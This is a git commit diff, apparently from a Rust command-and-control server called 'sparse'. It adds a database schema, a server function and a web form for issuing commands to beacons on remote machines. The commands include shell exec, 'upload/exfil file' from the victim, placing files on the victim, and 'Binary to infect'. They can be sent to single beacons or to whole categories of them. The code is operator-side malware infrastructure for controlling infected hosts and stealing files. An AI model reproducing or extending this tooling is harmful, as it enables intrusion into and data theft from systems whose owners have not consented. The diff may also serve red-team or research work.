feat: added basic command issuing
This commit is contained in:
parent
9fee4009f2
commit
e0af4ad291
2
.gitignore
vendored
2
.gitignore
vendored
@ -6,3 +6,5 @@ zig-out
|
||||
.zig-cache
|
||||
freebsd.txt
|
||||
/sparse-server/db.sqlite*
|
||||
/filetransfers
|
||||
/sparse-server/filetransfers
|
||||
|
||||
12
Cargo.lock
generated
12
Cargo.lock
generated
@ -3285,6 +3285,7 @@ dependencies = [
|
||||
"hyper",
|
||||
"inventory",
|
||||
"js-sys",
|
||||
"multer",
|
||||
"once_cell",
|
||||
"pin-project-lite",
|
||||
"send_wrapper",
|
||||
@ -3535,6 +3536,7 @@ dependencies = [
|
||||
"leptos_axum",
|
||||
"leptos_meta",
|
||||
"leptos_router",
|
||||
"multer",
|
||||
"pbkdf2",
|
||||
"rand 0.9.0",
|
||||
"rcgen",
|
||||
@ -3544,6 +3546,7 @@ dependencies = [
|
||||
"send_wrapper",
|
||||
"serde",
|
||||
"serde_json",
|
||||
"server_fn",
|
||||
"sha2",
|
||||
"sparse-actions",
|
||||
"sparse-handler",
|
||||
@ -3556,6 +3559,7 @@ dependencies = [
|
||||
"tower-http 0.5.2",
|
||||
"tracing",
|
||||
"tracing-subscriber",
|
||||
"uuid",
|
||||
"wasm-bindgen",
|
||||
"web-sys",
|
||||
]
|
||||
@ -3700,6 +3704,7 @@ dependencies = [
|
||||
"tokio-stream",
|
||||
"tracing",
|
||||
"url",
|
||||
"uuid",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@ -3781,6 +3786,7 @@ dependencies = [
|
||||
"stringprep",
|
||||
"thiserror 2.0.11",
|
||||
"tracing",
|
||||
"uuid",
|
||||
"whoami",
|
||||
]
|
||||
|
||||
@ -3819,6 +3825,7 @@ dependencies = [
|
||||
"stringprep",
|
||||
"thiserror 2.0.11",
|
||||
"tracing",
|
||||
"uuid",
|
||||
"whoami",
|
||||
]
|
||||
|
||||
@ -3844,6 +3851,7 @@ dependencies = [
|
||||
"sqlx-core",
|
||||
"tracing",
|
||||
"url",
|
||||
"uuid",
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@ -4552,9 +4560,9 @@ checksum = "b6c140620e7ffbb22c2dee59cafe6084a59b5ffc27a8859a5f0d494b5d52b6be"
|
||||
|
||||
[[package]]
|
||||
name = "uuid"
|
||||
version = "1.13.1"
|
||||
version = "1.14.0"
|
||||
source = "registry+https://github.com/rust-lang/crates.io-index"
|
||||
checksum = "ced87ca4be083373936a67f8de945faa23b6b42384bd5b64434850802c6dccd0"
|
||||
checksum = "93d59ca99a559661b96bf898d8fce28ed87935fd2bea9f05983c1464dd6c71b1"
|
||||
dependencies = [
|
||||
"getrandom 0.3.1",
|
||||
]
|
||||
|
||||
19
packages.nix
19
packages.nix
@ -338,7 +338,24 @@ let
|
||||
|
||||
copyToRoot = [ sparse-server ];
|
||||
|
||||
config = { Cmd = [ "${sparse-server}/bin/sparse-server" ]; };
|
||||
runAsRoot = ''
|
||||
#!${pkgs.runtimeShell}
|
||||
mkdir -p /sparse-server
|
||||
'';
|
||||
|
||||
config = {
|
||||
Cmd = [
|
||||
"${sparse-server}/bin/sparse-server"
|
||||
"serve"
|
||||
"--file-store"
|
||||
"/sparse-server/files"
|
||||
"--management-address"
|
||||
"0.0.0.0:3000"
|
||||
];
|
||||
Expose = { "3000" = ""; };
|
||||
Env = { DATABASE_URL = "sqlite:///sparse-server/db.sqlite"; };
|
||||
Volumes = { "/sparse-server" = { }; };
|
||||
};
|
||||
};
|
||||
|
||||
outputs = rec {
|
||||
|
||||
@ -86,6 +86,25 @@ pub async fn handle_checkin(
|
||||
.cwd
|
||||
.to_str()
|
||||
.unwrap_or("(unknown)");
|
||||
|
||||
let template_category = sqlx::query!(
|
||||
"SELECT default_category FROM beacon_template WHERE template_id = ?",
|
||||
reg.template_id
|
||||
)
|
||||
.fetch_optional(&state.db)
|
||||
.await?;
|
||||
|
||||
if let Some(category_id) = template_category.map(|r| r.default_category) {
|
||||
sqlx::query!(
|
||||
"INSERT INTO beacon_category_assignment (category_id, beacon_id)
|
||||
VALUES (?, ?)",
|
||||
category_id,
|
||||
reg.beacon_id
|
||||
)
|
||||
.execute(&state.db)
|
||||
.await?;
|
||||
}
|
||||
|
||||
sqlx::query!(
|
||||
r#"INSERT INTO beacon_instance
|
||||
(beacon_id, template_id, peer_ip, nickname, cwd, operating_system, beacon_userent, hostname)
|
||||
|
||||
@ -31,7 +31,7 @@ tracing = { version = "0.1", optional = true }
|
||||
web-sys = { version = "0.3", features = ["WebSocket"] }
|
||||
leptos-use = { version = "0.15", default-features = false, features = ["use_websocket", "use_interval"] }
|
||||
codee = { version = "0.2", features = ["json_serde"] }
|
||||
sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite"], optional = true }
|
||||
sqlx = { version = "0.8", default-features = false, features = ["chrono", "macros", "migrate", "runtime-tokio", "sqlite", "sqlx-sqlite", "uuid"], optional = true }
|
||||
chrono = { version = "0.4", features = ["serde"] }
|
||||
rpassword = { version = "7.3", optional = true }
|
||||
pbkdf2 = { version = "0.12", features = ["simple", "sha2", "std"], optional = true }
|
||||
@ -47,6 +47,9 @@ serde_json = "1.0.139"
|
||||
send_wrapper = "0.6.0"
|
||||
duration-str = { version = "0.13.0", default-features = false, features = ["chrono"] }
|
||||
regex = "1.11.1"
|
||||
server_fn = { version = "0.7.7", features = ["multipart"] }
|
||||
multer = { version = "3.1.0", optional = true }
|
||||
uuid = { version = "1.14.0", features = ["v4"], optional = true }
|
||||
|
||||
sparse-actions = { path = "../sparse-actions", optional = true }
|
||||
sparse-handler = { path = "../sparse-handler", optional = true }
|
||||
@ -78,6 +81,8 @@ ssr = [
|
||||
"dep:rustls-pki-types",
|
||||
"dep:sparse-actions",
|
||||
"dep:rand",
|
||||
"dep:multer",
|
||||
"dep:uuid",
|
||||
"leptos/ssr",
|
||||
"leptos_meta/ssr",
|
||||
"leptos_router/ssr",
|
||||
|
||||
49
sparse-server/migrations/20250223030447_better_commands.sql
Normal file
49
sparse-server/migrations/20250223030447_better_commands.sql
Normal file
@ -0,0 +1,49 @@
|
||||
DROP TABLE beacon_command_invocation;
|
||||
DROP TABLE beacon_command;
|
||||
|
||||
CREATE TABLE beacon_file (
|
||||
file_id varchar PRIMARY KEY NOT NULL,
|
||||
|
||||
file_name varchar,
|
||||
|
||||
beacon_source_id varchar,
|
||||
|
||||
FOREIGN KEY (beacon_source_id) REFERENCES beacon_instance
|
||||
);
|
||||
|
||||
CREATE TABLE beacon_command (
|
||||
command_id integer PRIMARY KEY AUTOINCREMENT NOT NULL,
|
||||
|
||||
cmd_type text check (cmd_type in ('update', 'exec', 'install', 'upload', 'download', 'chdir', 'ls')),
|
||||
|
||||
exec_command varchar,
|
||||
|
||||
install_target varchar,
|
||||
|
||||
upload_src varchar,
|
||||
|
||||
download_src varchar,
|
||||
download_path varchar,
|
||||
|
||||
chdir_target varchar,
|
||||
|
||||
FOREIGN KEY (download_src) REFERENCES beacon_file
|
||||
);
|
||||
|
||||
CREATE TABLE beacon_command_invocation (
|
||||
beacon_id varchar NOT NULL,
|
||||
command_id int NOT NULL,
|
||||
|
||||
issue_date int NOT NULL,
|
||||
|
||||
invoker_id int NOT NULL,
|
||||
|
||||
invocation_date int,
|
||||
invocation_result varchar,
|
||||
|
||||
PRIMARY KEY (beacon_id, command_id),
|
||||
|
||||
FOREIGN KEY (command_id) REFERENCES beacon_command,
|
||||
FOREIGN KEY (beacon_id) REFERENCES beacon_instance,
|
||||
FOREIGN KEY (invoker_id) REFERENCES users
|
||||
);
|
||||
@ -112,7 +112,7 @@ pub fn App() -> impl IntoView {
|
||||
<Route path=path!("commands") view=crate::beacons::commands::CommandsView/>
|
||||
<Route path=path!("configs") view=crate::beacons::configs::ConfigsView/>
|
||||
<Route path=path!("templates") view=crate::beacons::templates::TemplatesView/>
|
||||
<Route path=path!("instances") view=crate::beacons::instances::InstancesView/>
|
||||
<Route path=path!("beacon/:id") view=crate::beacons::instances::InstancesView/>
|
||||
<Route path=path!("listeners") view=crate::beacons::listeners::ListenersView/>
|
||||
<Route path=path!("") view=|| view! {
|
||||
<p>"Select a menu item on the left to get started"</p>
|
||||
|
||||
@ -1,10 +1,413 @@
|
||||
use leptos::prelude::*;
|
||||
use leptos::{either::Either, prelude::*};
|
||||
use serde::{Deserialize, Serialize};
|
||||
use leptos::server_fn::codec::{MultipartData, MultipartFormData};
|
||||
use web_sys::FormData;
|
||||
use send_wrapper::SendWrapper;
|
||||
|
||||
#[cfg(feature = "ssr")]
|
||||
use {
|
||||
leptos::server_fn::error::NoCustomError,
|
||||
sqlx::{sqlite::SqliteRow, FromRow, Row},
|
||||
tokio::io::AsyncWriteExt,
|
||||
};
|
||||
|
||||
use crate::beacons::{BeaconResources, categories::Category};
|
||||
|
||||
#[derive(Clone, Serialize, Deserialize)]
|
||||
pub enum CommandBody {
|
||||
Update,
|
||||
Exec { command: String },
|
||||
Install { target_binary: String },
|
||||
Upload { target_file: String },
|
||||
Download { src_file: String, target_path: String },
|
||||
Chdir { target_dir: String },
|
||||
Ls
|
||||
}
|
||||
|
||||
#[cfg(feature = "ssr")]
|
||||
impl FromRow<'_, SqliteRow> for CommandBody {
|
||||
fn from_row(row: &SqliteRow) -> sqlx::Result<Self> {
|
||||
match row.try_get("cmd_type")? {
|
||||
"update" => Ok(Self::Update),
|
||||
"exec" => Ok(Self::Exec {
|
||||
command: row.try_get("exec_command")?
|
||||
}),
|
||||
"install" => Ok(Self::Install {
|
||||
target_binary: row.try_get("install_target")?
|
||||
}),
|
||||
"upload" => Ok(Self::Upload {
|
||||
target_file: row.try_get("upload_src")?
|
||||
}),
|
||||
"download" => Ok(Self::Download {
|
||||
src_file: row.try_get("download_src")?,
|
||||
target_path: row.try_get("download_path")?
|
||||
}),
|
||||
"chdir" => Ok(Self::Chdir {
|
||||
target_dir: row.try_get("chdir_target")?
|
||||
}),
|
||||
"ls" => Ok(Self::Ls),
|
||||
type_name => Err(sqlx::Error::TypeNotFound {
|
||||
type_name: type_name.to_string()
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg_attr(feature = "ssr", derive(FromRow))]
|
||||
#[derive(Clone, Serialize, Deserialize)]
|
||||
pub struct BeaconCommand {
|
||||
pub command_id: i64,
|
||||
#[cfg_attr(feature = "ssr", sqlx(flatten))]
|
||||
pub body: CommandBody
|
||||
}
|
||||
|
||||
#[server(
|
||||
prefix = "/api/commands",
|
||||
endpoint = "issue_command",
|
||||
input = MultipartFormData
|
||||
)]
|
||||
pub async fn issue_command(
|
||||
data: MultipartData,
|
||||
) -> Result<(), ServerFnError> {
|
||||
let Some(user) = crate::db::user::get_auth_session().await? else {
|
||||
return Err(ServerFnError::<NoCustomError>::ServerError(
|
||||
"You are not signed in!".to_owned(),
|
||||
));
|
||||
};
|
||||
|
||||
let mut fields = std::collections::HashMap::<String, String>::new();
|
||||
let mut download_src = None::<multer::Field>;
|
||||
|
||||
let mut data = data.into_inner().ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||
"No form data was provided".to_owned(),
|
||||
))?;
|
||||
while let Ok(Some(field)) = data.next_field().await {
|
||||
let name = field.name().unwrap_or_default().to_string();
|
||||
tracing::trace!("Found field {}", &name);
|
||||
if name != "download_src" {
|
||||
fields.insert(name.clone(), field.text().await.unwrap_or_default());
|
||||
} else {
|
||||
download_src = Some(field);
|
||||
}
|
||||
}
|
||||
|
||||
enum Target {
|
||||
Beacon(String),
|
||||
Category(i64)
|
||||
}
|
||||
|
||||
let Some(target_beacons) = fields
|
||||
.get("beacon_id")
|
||||
.map(Clone::clone)
|
||||
.map(Target::Beacon)
|
||||
.or(fields
|
||||
.get("category_id")
|
||||
.map(|id| id.parse::<i64>().ok())
|
||||
.flatten()
|
||||
.map(Target::Category)) else {
|
||||
return Err(ServerFnError::<NoCustomError>::ServerError(
|
||||
"A beacon command cannot be made without a target".to_owned(),
|
||||
));
|
||||
};
|
||||
|
||||
let db = crate::db::get_db()?;
|
||||
|
||||
let command_id = match fields.get("cmd_type").map(Clone::clone).as_deref() {
|
||||
Some("update") => {
|
||||
Ok(sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_type) VALUES ('update')"
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid())
|
||||
}
|
||||
Some("ls") => {
|
||||
Ok(sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_type) VALUES ('ls')"
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid())
|
||||
}
|
||||
Some("chdir") => {
|
||||
let chdir_target = fields
|
||||
.get("chdir_target")
|
||||
.filter(|s| !s.is_empty())
|
||||
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||
"Directory target cannot be empty".to_owned(),
|
||||
))?;
|
||||
|
||||
Ok(sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_type, chdir_target) VALUES ('chdir', ?)",
|
||||
chdir_target
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid())
|
||||
}
|
||||
Some("exec") => {
|
||||
let exec_command = fields
|
||||
.get("exec_command")
|
||||
.filter(|s| !s.is_empty())
|
||||
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||
"Command cannot be empty".to_owned(),
|
||||
))?;
|
||||
|
||||
Ok(sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_type, exec_command) VALUES ('exec', ?)",
|
||||
exec_command
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid())
|
||||
}
|
||||
Some("install") => {
|
||||
let install_target = fields
|
||||
.get("install_target")
|
||||
.filter(|s| !s.is_empty())
|
||||
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||
"Install target cannot be empty".to_owned(),
|
||||
))?;
|
||||
|
||||
Ok(sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_type, install_target) VALUES ('install', ?)",
|
||||
install_target
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid())
|
||||
}
|
||||
Some("upload") => {
|
||||
let upload_src = fields
|
||||
.get("upload_src")
|
||||
.filter(|s| !s.is_empty())
|
||||
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||
"Upload file request path cannot be empty".to_owned(),
|
||||
))?;
|
||||
|
||||
Ok(sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_type, upload_src) VALUES ('upload', ?)",
|
||||
upload_src
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid())
|
||||
}
|
||||
Some("download") => {
|
||||
let download_path = fields
|
||||
.get("download_path")
|
||||
.filter(|s| !s.is_empty())
|
||||
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||
"Upload file request path cannot be empty".to_owned(),
|
||||
))?;
|
||||
|
||||
let mut download_src = download_src
|
||||
.ok_or(ServerFnError::<NoCustomError>::ServerError(
|
||||
"File to upload cannot be empty".to_owned(),
|
||||
))?;
|
||||
|
||||
let file_name = download_src.file_name().unwrap_or_default().to_string();
|
||||
let file_id = uuid::Uuid::new_v4();
|
||||
|
||||
let mut target_file_path = expect_context::<std::path::PathBuf>();
|
||||
target_file_path.push(file_id.to_string());
|
||||
|
||||
tracing::debug!("Writing {file_name} to {target_file_path:?}");
|
||||
|
||||
let mut target_file = tokio::fs::OpenOptions::new()
|
||||
.write(true)
|
||||
.create(true)
|
||||
.open(target_file_path)
|
||||
.await?;
|
||||
|
||||
while let Ok(Some(chunk)) = download_src.chunk().await {
|
||||
target_file.write(&chunk).await?;
|
||||
}
|
||||
|
||||
sqlx::query!(
|
||||
"INSERT INTO beacon_file (file_id, file_name) VALUES (?, ?)",
|
||||
file_id,
|
||||
file_name
|
||||
)
|
||||
.execute(&db)
|
||||
.await?;
|
||||
|
||||
Ok(sqlx::query!(
|
||||
"INSERT INTO beacon_command (cmd_type, download_src, download_path) VALUES ('download', ?, ?)",
|
||||
file_id,
|
||||
download_path
|
||||
)
|
||||
.execute(&db)
|
||||
.await?
|
||||
.last_insert_rowid())
|
||||
}
|
||||
_ => Err(ServerFnError::<NoCustomError>::ServerError(
|
||||
"Unknown command type".to_owned(),
|
||||
))
|
||||
}?;
|
||||
|
||||
let now = chrono::Utc::now();
|
||||
|
||||
match target_beacons {
|
||||
Target::Beacon(bid) => {
|
||||
sqlx::query!(
|
||||
"INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)
|
||||
VALUES (?, ?, ?, ?)",
|
||||
command_id,
|
||||
now,
|
||||
user.user_id,
|
||||
bid
|
||||
)
|
||||
.execute(&db)
|
||||
.await?;
|
||||
}
|
||||
Target::Category(cid) => {
|
||||
sqlx::query!(
|
||||
"INSERT INTO beacon_command_invocation (command_id, issue_date, invoker_id, beacon_id)
|
||||
SELECT ?, ?, ?, bi.beacon_id FROM beacon_category bc
|
||||
INNER JOIN beacon_category_assignment bca ON bc.category_id = bca.category_id
|
||||
INNER JOIN beacon_instance bi ON bca.beacon_id = bi.beacon_id
|
||||
WHERE bc.category_id = ?",
|
||||
command_id,
|
||||
now,
|
||||
user.user_id,
|
||||
cid
|
||||
)
|
||||
.execute(&db)
|
||||
.await?;
|
||||
}
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
|
||||
#[component]
|
||||
pub fn CommandForm(categories: Vec<Category>, beacon_id: Option<String>) -> impl IntoView {
|
||||
let command_action = Action::new(move |data: &SendWrapper<FormData>| {
|
||||
let data = data.clone();
|
||||
async move {
|
||||
issue_command(data.take().into()).await
|
||||
}
|
||||
});
|
||||
|
||||
view! {
|
||||
{(categories.is_empty() && beacon_id.is_none())
|
||||
.then(|| view! {
|
||||
<span class="error">"Missing categories! Cannot assign a command to a category if there are no categories"</span>
|
||||
})}
|
||||
|
||||
{move || match command_action.value().get() {
|
||||
None => Either::Right(()),
|
||||
Some(v) => Either::Left(match v {
|
||||
Ok(_) => Either::Right(view! {
|
||||
<p>"Command successfully isued!"</p>
|
||||
}),
|
||||
Err(e) => Either::Left(view! {
|
||||
<p>"Error occurred issuing command:"</p>
|
||||
<p>{format!{"{e:?}"}}</p>
|
||||
})
|
||||
})
|
||||
}}
|
||||
<form on:submit:target=move |ev| {
|
||||
ev.prevent_default();
|
||||
let target = ev.target();
|
||||
let form_data = FormData::new_with_form(&target).expect("could not get formdata from form");
|
||||
command_action.dispatch(SendWrapper::new(form_data));
|
||||
}>
|
||||
<fieldset>
|
||||
<legend>"Issue new command"</legend>
|
||||
{if let Some(bid) = beacon_id.clone() {
|
||||
Either::Left(view! {
|
||||
<input name="beacon_id" type="hidden" value=bid />
|
||||
})
|
||||
} else {
|
||||
Either::Right(view! {
|
||||
<label>
|
||||
"Select a category to command"
|
||||
</label>
|
||||
<select name="category_id">
|
||||
{categories
|
||||
.iter()
|
||||
.map(|cat| view! {
|
||||
<option value=cat.category_id.to_string()>
|
||||
{cat.category_name.clone()}
|
||||
</option>
|
||||
})
|
||||
.collect_view()}
|
||||
</select>
|
||||
})
|
||||
}}
|
||||
<label>"Type of command"</label>
|
||||
<select name="cmd_type">
|
||||
<option value="exec">"Execute command"</option>
|
||||
<option value="upload">"Upload/exfil file"</option>
|
||||
<option value="download">"Download/place file"</option>
|
||||
<option value="update">"Update beacon"</option>
|
||||
<option value="chdir">"Change directory"</option>
|
||||
<option value="ls">"List files"</option>
|
||||
<option value="install">"Install to a new binary"</option>
|
||||
</select>
|
||||
<label class="cmd-exec">"Command"</label>
|
||||
<input class="cmd-exec" name="exec_command" />
|
||||
<label class="cmd-upload">"File to upload/exfil"</label>
|
||||
<input class="cmd-upload" name="upload_src" />
|
||||
<label class="cmd-chdir">"Directory to change to"</label>
|
||||
<input class="cmd-chdir" name="chdir_target" />
|
||||
<label class="cmd-install">"Binary to infect"</label>
|
||||
<input class="cmd-install" name="install_target" />
|
||||
<label class="cmd-download">"Target location for file"</label>
|
||||
<input class="cmd-download" name="download_path"/>
|
||||
<label class="cmd-download">"File to download/place"</label>
|
||||
<input class="cmd-download" name="download_src" type="file" />
|
||||
<div></div>
|
||||
<input type="submit" value="Submit" disabled=move ||command_action.pending().get()/>
|
||||
</fieldset>
|
||||
</form>
|
||||
}
|
||||
}
|
||||
|
||||
#[component]
|
||||
pub fn CommandsView() -> impl IntoView {
|
||||
view! {
|
||||
<div>
|
||||
let BeaconResources { categories, .. } = expect_context();
|
||||
|
||||
view! {
|
||||
<div class="commands">
|
||||
<h2>"Issue commands"</h2>
|
||||
<div>
|
||||
<p>
|
||||
"This page is used to issue commands to all beacons in a category. If you are looking to issue a command to a single beacon, select one from the left."
|
||||
</p>
|
||||
|
||||
<p>
|
||||
"Available commands, and the required version of the beacon:"
|
||||
</p>
|
||||
|
||||
<ul>
|
||||
<li>"Exec: execute a command"</li>
|
||||
<li>"Upload: upload a file from the server the beacon is on to the C2 server"</li>
|
||||
<li>"Download: download a file from the C2 server to the computer the beacon is on"</li>
|
||||
<li>"Update: Attempt to update the beacon on the remote system"</li>
|
||||
<li>"Chdir: change the 'working directory' of the beacon. The working directory is actually stored on the C2 server, and the only action the beacon performs is to verify such a path exists"</li>
|
||||
<li>"Ls: list files in the current 'working directory'"</li>
|
||||
<li>"Install: infect another binary (only works for sparse beacons that already infect a binary; does not work for standalone beacons)"</li>
|
||||
</ul>
|
||||
</div>
|
||||
|
||||
<Suspense fallback=|| view! { "Loading..." }>
|
||||
{move || Suspend::new(async move {
|
||||
let categories = match categories.await {
|
||||
Ok(cs) => cs,
|
||||
Err(e) => return Either::Left(view! {
|
||||
<p>{"There was an error loading categories:".to_string()}</p>
|
||||
<p>{format!("error: {}", e)}</p>
|
||||
})
|
||||
};
|
||||
|
||||
Either::Right(view! {
|
||||
<CommandForm categories beacon_id=None />
|
||||
})
|
||||
})}
|
||||
</Suspense>
|
||||
</div>
|
||||
}
|
||||
}
|
||||
|
||||
@ -100,8 +100,6 @@ pub fn BeaconSidebar() -> impl IntoView {
|
||||
return;
|
||||
};
|
||||
|
||||
leptos::logging::log!("Received message: {m:?}");
|
||||
|
||||
match m {
|
||||
SidebarEvents::BeaconList(bs) => {
|
||||
let mut bs = bs.to_vec();
|
||||
@ -128,7 +126,6 @@ pub fn BeaconSidebar() -> impl IntoView {
|
||||
return;
|
||||
};
|
||||
if let Some(ref mut b) = bs.iter_mut().find(|b| b.beacon_id == *bid) {
|
||||
leptos::logging::log!("Found beacon to check in");
|
||||
b.last_checkin = chrono::Utc::now();
|
||||
}
|
||||
}),
|
||||
|
||||
@ -28,8 +28,13 @@ pub enum Command {
|
||||
/// Run the web and API server
|
||||
Serve {
|
||||
/// Address to bind to for the management interface
|
||||
#[structopt(default_value = "127.0.0.1:3000")]
|
||||
#[structopt(short = "m", long, default_value = "127.0.0.1:3000")]
|
||||
management_address: SocketAddrV4,
|
||||
|
||||
/// Where to store files to transfer to target systems, and
|
||||
/// files that are downloaded from remote systems
|
||||
#[structopt(short = "f", long, default_value = "./filetransfers")]
|
||||
file_store: PathBuf,
|
||||
},
|
||||
|
||||
/// Extract the public key and print it to standard out
|
||||
|
||||
@ -65,9 +65,9 @@ async fn main() -> anyhow::Result<std::process::ExitCode> {
|
||||
tracing::info!("Done running database migrations!");
|
||||
|
||||
match options.command.clone() {
|
||||
Some(cli::Command::Serve { management_address }) => {
|
||||
Some(cli::Command::Serve { management_address, file_store }) => {
|
||||
tracing::info!("Performing requested action, acting as web server");
|
||||
webserver::serve_web(management_address, pool).await
|
||||
webserver::serve_web(management_address, file_store, pool).await
|
||||
}
|
||||
Some(cli::Command::ExtractPubKey {}) => Ok(ExitCode::SUCCESS),
|
||||
Some(cli::Command::User { command }) => cli::user::handle_user_command(command, pool).await,
|
||||
@ -77,7 +77,7 @@ async fn main() -> anyhow::Result<std::process::ExitCode> {
|
||||
tracing::info!("Performing default action of acting as web server");
|
||||
|
||||
let default_management_ip = SocketAddrV4::new(Ipv4Addr::new(127, 0, 0, 1), 3000);
|
||||
webserver::serve_web(default_management_ip, pool).await
|
||||
webserver::serve_web(default_management_ip, "./filetransfers".into(), pool).await
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@ -1,4 +1,4 @@
|
||||
use std::{net::SocketAddrV4, process::ExitCode};
|
||||
use std::{net::SocketAddrV4, path::PathBuf, process::ExitCode};
|
||||
|
||||
use axum::{
|
||||
extract::{ws, FromRef, Path, Query, State},
|
||||
@ -480,6 +480,7 @@ async fn handle_listener_events(
|
||||
|
||||
pub async fn serve_web(
|
||||
management_address: SocketAddrV4,
|
||||
file_store: PathBuf,
|
||||
db: SqlitePool,
|
||||
) -> anyhow::Result<ExitCode> {
|
||||
let conf = get_configuration(None).unwrap();
|
||||
@ -488,6 +489,8 @@ pub async fn serve_web(
|
||||
let beacon_event_broadcast = tokio::sync::broadcast::Sender::<sparse_handler::BeaconEvent>::new(128);
|
||||
let beacon_listeners = sparse_handler::BeaconListenerMap::default();
|
||||
|
||||
tokio::fs::create_dir_all(&file_store).await?;
|
||||
|
||||
let compression_layer = tower_http::compression::CompressionLayer::new()
|
||||
.gzip(true)
|
||||
.deflate(true)
|
||||
@ -525,6 +528,7 @@ pub async fn serve_web(
|
||||
provide_context(beacon_listeners.clone());
|
||||
provide_context(db.clone());
|
||||
provide_context(beacon_event_broadcast.clone());
|
||||
provide_context(file_store.clone());
|
||||
},
|
||||
{
|
||||
let leptos_options = leptos_options.clone();
|
||||
|
||||
@ -0,0 +1,38 @@
|
||||
main.beacons div.commands {
|
||||
padding: 10px;
|
||||
overflow-y: scroll;
|
||||
|
||||
fieldset {
|
||||
display: grid;
|
||||
grid-template-columns: 400px 200px;
|
||||
grid-row-gap: 10px;
|
||||
|
||||
input, label {
|
||||
margin: 10px;
|
||||
}
|
||||
}
|
||||
|
||||
.cmd-exec, .cmd-install, .cmd-upload, .cmd-download, .cmd-chdir {
|
||||
display: none;
|
||||
}
|
||||
|
||||
select[name="cmd_type"]:has(> option[value="exec"]:checked) ~ .cmd-exec {
|
||||
display: block;
|
||||
}
|
||||
|
||||
select[name="cmd_type"]:has(> option[value="upload"]:checked) ~ .cmd-upload {
|
||||
display: block;
|
||||
}
|
||||
|
||||
select[name="cmd_type"]:has(> option[value="download"]:checked) ~ .cmd-download {
|
||||
display: block;
|
||||
}
|
||||
|
||||
select[name="cmd_type"]:has(> option[value="chdir"]:checked) ~ .cmd-chdir {
|
||||
display: block;
|
||||
}
|
||||
|
||||
select[name="cmd_type"]:has(> option[value="install"]:checked) ~ .cmd-install {
|
||||
display: block;
|
||||
}
|
||||
}
|
||||
Loading…
x
Reference in New Issue
Block a user